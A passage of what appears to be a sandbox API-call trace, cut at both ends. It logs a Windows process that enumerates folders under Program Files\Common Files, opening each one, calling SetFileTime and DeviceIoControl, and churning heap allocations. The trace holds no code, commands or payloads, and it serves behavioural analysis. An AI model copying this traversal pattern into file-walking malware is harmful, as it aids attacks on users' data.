BaseAddress=0xfb6d10) returned 1 [0065.118] NtClose (Handle=0x190) returned 0x0 [0065.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5988) returned 1 [0065.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5988 [0065.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0065.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5b98 [0065.118] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0065.118] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.118] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0065.118] GetLastError () returned 0x12 [0065.118] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0065.119] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0065.119] GetLastError () returned 0x12 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5b98) returned 1 [0065.119] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5988) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0065.119] GetLastError () returned 0x12 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5568) returned 1 [0065.119] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5880) returned 1 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5778) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0065.119] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0065.119] GetLastError () returned 0x12 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd88) returned 1 [0065.119] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0065.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.120] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0065.120] GetLastError () returned 0x12 [0065.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.120] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0065.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0065.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.120] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0065.120] GetLastError () returned 0x12 [0065.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.120] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0065.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0065.120] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0065.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0065.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0065.122] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0065.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.122] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0065.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.122] NtClose (Handle=0x148) returned 0x0 [0065.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0065.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0065.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0065.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.122] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0065.142] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.142] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0065.143] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0065.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.143] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.143] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.143] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.143] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.143] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0065.143] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0065.143] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0065.143] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0065.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.155] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.155] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.155] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.155] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0065.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.155] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.155] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.155] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.155] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.155] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0065.156] GetLastError () returned 0x12 [0065.156] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1a0 [0065.156] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.156] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.156] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0065.156] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0065.156] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.156] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.156] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.156] NtClose (Handle=0x148) returned 0x0 [0065.156] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.156] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.157] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0065.157] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0065.243] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.244] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0065.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.246] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.246] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.247] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.248] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.249] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4020 [0065.251] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd88 [0065.251] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.252] FindNextFileW (in: hFindFile=0x60d120, 